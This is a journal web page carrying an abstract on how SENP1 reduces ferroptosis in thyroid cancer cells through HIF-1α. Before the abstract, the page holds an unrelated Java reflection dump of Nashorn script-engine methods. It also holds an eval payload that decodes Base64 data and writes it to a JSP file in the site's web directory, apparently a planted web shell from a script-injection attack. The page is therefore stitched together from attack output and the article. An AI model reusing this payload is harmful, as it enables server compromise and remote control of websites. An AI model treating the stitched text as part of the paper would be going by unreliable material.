public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2026, Vol. 46 ›› Issue (5): 1093-1101.doi: 10.12122/j.issn.1673-4254.2026.05.13

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SENP1 reduces ferroptosis of thyroid cancer cells by regulating hypoxia-inducible factor-1α

Feifei ZHU1(), Na YAN1, Jiwen YANG2, Xiaolei CHEN2, Yingying WANG2()   

  1. 1.Department of Ultrasound, The First Affiliated Hospital of Wannan MedicalUniversity (Yijishan Hospital of Wannan Medical University), Wuhu 241001, China
    2.Department of Nuclear Medicine, The First Affiliated Hospital of Wannan MedicalUniversity (Yijishan Hospital of Wannan Medical University), Wuhu 241001, China
  • Received:2025-05-16 Online:2026-05-20 Published:2026-05-27
  • Contact: Yingying WANG E-mail:570532590@qq.com;850247303@qq.com

Abstract:

Objective To explore the regulatory role of SENP1 in ferroptosis of differentiated thyroid cancer cells and its molecular mechanism. Methods TPC-1 cells transfected with sh-NC or sh-SENP1 plasmid were inoculated in nude mice (n=6), and tumor growth was observed. In in vitro studies, TPC-1 cells were transfected with a SENP1-over expressing plasmid, si-USP11, or si-SENP1 via Lipofectamine 3000, followed by examination with CCK-8, EdU, LDH, Calcein/PI, and cytotoxicity assay kits. Mitochondrial function of the cells was evaluated using JC-1 depolymerization and mitochondrial permeability transition pore assays, and the changes in cellular protein expression levels were analyzed using Western Blotting. Results SENP1 knockdown in TPC-1 cells significantly inhibited tumor growth in nude mice. In TPC-1 cells, SENP1 overexpression significantly promoted cell proliferation and metastasis, and SENP1 knockdown produced the opposite effects. Functionally, SENP1 overexpression in TPC-1 cells obviously reduced the percentage of PI-positive cells and iron content and upregulated GPX4 protein levels, while the reverse changes were observed following si-SENP1 transfection. SENP1 overexpression also enhanced JC-1 depolymerization, increased calcein-AM/cobalt chloride fluorescence and extracellular acidification rate, and decreased oxygen consumption rate, indicating reduced mitochondrial damage. Conversely, si-SENP1 transfection exacerbated mitochondrial injury in TPC-1 cells. SENP1 overexpression significantly enhanced the protein level of hypoxia-inducible factor-1α, which was obviously lowered following sh-SENP1 transfection in TPC-1 cells. Conclusion High expression of SENP1 inhibits mitochondrial damage, reduces ferroptosis, and promotes proliferation of thyroid cancer cells by activating HIF-1α, suggesting the potential of SENP1 as a novel therapeutic target for thyroid cancer.

Key words: SENP1, hypoxia-inducible factor-1α, differentiated thyroid cancer, ferroptosis